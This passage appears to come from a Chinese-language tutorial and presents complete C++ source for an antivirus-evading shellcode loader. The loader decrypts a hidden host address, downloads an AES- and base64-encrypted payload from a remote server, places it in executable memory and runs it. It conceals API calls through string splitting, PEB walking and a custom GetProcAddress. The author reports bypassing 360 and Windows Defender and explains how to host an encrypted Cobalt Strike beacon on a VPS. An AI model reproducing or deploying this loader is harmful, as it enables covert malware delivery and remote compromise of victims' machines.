memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int key[] = { 1,2,3,4,5,6,7 };
int main()
{
void* axac;
int payload_len = 500000; //shellcode大小
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
// 将 std::string 转换为宽字符串 LPCWSTR
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000; //端口
string enpath = "EkYwlGs7z8OzXAEs7rszZA=="; //对应的文件
string depath = DecryptionAES(enpath);
// 将 std::string 转换为宽字符串 LPCWSTR
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress(LoadLibrary(L"kernel32.dll"), xyVAc);
axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存 1
//使用默认设置创建会话
char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIto);
//session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 2
session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyItC);
//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0); 3
conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHOR);
//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0); 4
reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHSR);
//HttpSendRequest(reqfile, NULL, 0, 0, 0); 5
pHSR(reqfile, NULL, 0, 0, 0);
char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIRF);
//InternetReadFile(reqfile, exec, payload_len, &nread); 6
pIRF(reqfile, axac, payload_len, &nread);
// Convert the vector to Base64-encoded string
std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
std::string base64DecodedContent;
//base64EncodedContent = ko::Base64::encode(base64EncodedContent);
string AESDecodedContent = DecryptionAES(AESEncodedContent);
base64DecodedContent = ko::Base64::decode(AESDecodedContent);
//void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (elloc == nullptr) {
std::cerr << "Failed to allocate memory." << std::endl;
return 1;
}
// Copy decoded content to allocated memory
memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());
// Execute the allocated content
void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
shellcode();
// Free the allocated memory
VirtualFree(elloc, 0, MEM_RELEASE);
//((void(*)())exec)();
//Save the Base64-encoded content to a file
//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);
//outFile << base64EncodedContent;
//outFile.close();
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
接下来我们把敏感函数规避下,还有内存方面的规避,还有虚拟机的检测
敏感函数规避
LoadLibrary(L"kernel32.dll")改成getKernel32Address
使用于x64机器下
那么接下来我们把LoadLibrary(L"wininet.dll")也换掉
HMODULE getWininetAddress()
{
HMODULE hWininet = nullptr;
// 获取模块句柄
hWininet = GetModuleHandle(L"wininet.dll");
return hWininet;
}
成功上线,这里过的是360安全卫士,我们看看360杀毒效果咋样
360杀毒软件和360安全卫士静态扫描加上线全过了
完整代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
#include "need.h"
extern "C" PVOID64 _cdecl GetPeb();
using namespace std;
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef HINTERNET(WINAPI* InternetOpenW_T)(
_In_opt_ LPCWSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_opt_ LPCWSTR lpszProxy,
_In_opt_ LPCWSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
typedef HINTERNET(WINAPI* InternetConnectW_T)(
_In_ HINTERNET hInternet,
_In_ LPCWSTR lpszServerName,
_In_ INTERNET_PORT nServerPort,
_In_opt_ LPCWSTR lpszUserName,
_In_opt_ LPCWSTR lpszPassword,
_In_ DWORD dwService,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(
_In_ HINTERNET hConnect,
_In_opt_ LPCWSTR lpszVerb,
_In_opt_ LPCWSTR lpszObjectName,
_In_opt_ LPCWSTR lpszVersion,
_In_opt_ LPCWSTR lpszReferrer,
_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,
_In_ DWORD dwFlags,
_In_opt_ DWORD_PTR dwContext
);
typedef HINTERNET(WINAPI* HttpSendRequestW_T)(
_In_ HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
_In_ DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
_In_ DWORD dwOptionalLength
);
typedef HINTERNET(WINAPI* InternetReadFile_T)(
_In_ HINTERNET hFile,
_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
_In_ DWORD dwNumberOfBytesToRead,
_Out_ LPDWORD lpdwNumberOfBytesRead
);
HMODULE getKernel32Address()
{
PVOID64 Peb = GetPeb();
PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018); //0x018是LDR相对于PEB偏移 存放着LDR的基地址
UNICODE_STRING* FullName;
HMODULE hKernel32 = NULL;
LIST_ENTRY* pNode = NULL;
pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30)); //偏移到InInitializationOrderModuleList
while (true)
{
FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移
if (*(FullName->Buffer + 12) == '\0')
{
hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBase
break;
}
pNode = pNode->Flink;
}
return hKernel32;
}
//HMODULE getWininetAddress()
//{
// PVOID64 Peb = GetPeb();
// PVOID64 LDR_DATA_Addr = *(PVOID64*)((BYTE*)Peb + 0x018); // 0x018 是 LDR 相对于 PEB 的偏移,存放着 LDR 的基地址
// UNICODE_STRING* FullName;
// HMODULE hWininet = nullptr;
// LIST_ENTRY* pNode = nullptr;
// pNode = (LIST_ENTRY*)(*(PVOID64*)((BYTE*)LDR_DATA_Addr + 0x30)); // 偏移到 InInitializationOrderModuleList
// while (true)
// {
// FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); // BaseDllName 基于 InInitializationOrderModuList 的偏移
// if (wcsstr(FullName->Buffer, L"wininet.dll") != nullptr)
// {
// hWininet = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); // DllBase
// break;
// }
// pNode = pNode->Flink;
// }
// return hWininet;
//}
HMODULE getWininetAddress()
{
HMODULE hWininet = nullptr;
// 获取模块句柄
hWininet = GetModuleHandle(L"wininet.dll");
return hWininet;
}
FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
// Get the address of the module's PE header
BYTE* pImageBase = (BYTE*)hModule;
IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;
IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);
// Get the address of the export directory
IMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);
DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);
WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);
DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);
for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {
LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);
if (strcmp(lpProcName, pName) == 0) {
WORD ordinal = pAddressOfNameOrdinals[i];
DWORD functionRVA = pAddressOfFunctions[ordinal];
FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);
return pFunction;
}
}
return NULL;
}
//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{
string strData = ko::Base64::decode(strSrc);
size_t length = strData.length();
//密文
char* szDataIn = new char[length + 1];
memcpy(szDataIn, strData.c_str(), length + 1);
//明文
char* szDataOut = new char[length + 1];
memcpy(szDataOut, strData.c_str(), length + 1);
//进行AES的CBC模式解密
AES aes;
aes.MakeKey(g_key, g_iv, 16, 16);
aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
//去PKCS7Padding填充
if (0x00 < szDataOut[length - 1] <= 0x16)
{
int tmp = szDataOut[length - 1];
for (int i = length - 1; i >= length - tmp; i--)
{
if (szDataOut[i] != tmp)
{
memset(szDataOut, 0, length);
cout << "去填充失败!解密出错!!" << endl;
break;
}
else
szDataOut[i] = 0;
}
}
string strDest(szDataOut);
delete[] szDataIn;
delete[] szDataOut;
return strDest;
}
int key[] = { 1,2,3,4,5,6,7 };
int main()
{
void* axac;
int payload_len = 500000;
string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ip
string dehost = DecryptionAES(enhost);
int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);
LPWSTR hostLPCWSTR = new WCHAR[hostLen];
MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);
WORD port = 8000;
string enpath = "EkYwlGs7z8OzXAEs7rszZA=="; //对应的文件
string depath = DecryptionAES(enpath);
int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);
LPWSTR pathLPCWSTR = new WCHAR[pathLen];
MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };
VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);
axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//使用默认设置创建会话
char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };
InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIto);
session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };
InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);
conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };
HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);
reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };
HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);
pHSR(reqfile, NULL, 0, 0, 0);
char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };
InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);
pIRF(reqfile, axac, payload_len, &nread);
std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);
std::string base64DecodedContent;
string AESDecodedContent = DecryptionAES(AESEncodedContent);
base64DecodedContent = ko::Base64::decode(AESDecodedContent);
void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (elloc == nullptr) {
std::cerr << "Failed to allocate memory." << std::endl;
return 1;
}
memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());
void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);
shellcode();
VirtualFree(elloc, 0, MEM_RELEASE);
//关闭所有句柄
InternetCloseHandle(reqfile);
InternetCloseHandle(conn);
InternetCloseHandle(session);
}
更新到最新病毒库
可以看到没问题的
Windows defender试试
总共的手法又
1.请求的url进行了aes加密
2.远端的shellcode进行了先base64加密,再进行aes加密
3.导出表隐藏做了字符串打散,和自定义函数结构体(相当于重写改名)
4.进行了library的改写,通过改写成在x64下获得kernel32.dll和wininet.dll分别对照getKernel32Address函数和getWininetAddress函数
5.进行了GetProcAddress函数的改写,对照函数CustomGetProcAddress
项目使用,先base64编译bin文件,然后aes编译生成的a.txt文件
test.txt是base64加密beacon811.bin的文件
aesencode.txt是aes加密test.txt后的文件
将aesencode.txt放到vps上
开启python3 -m http.server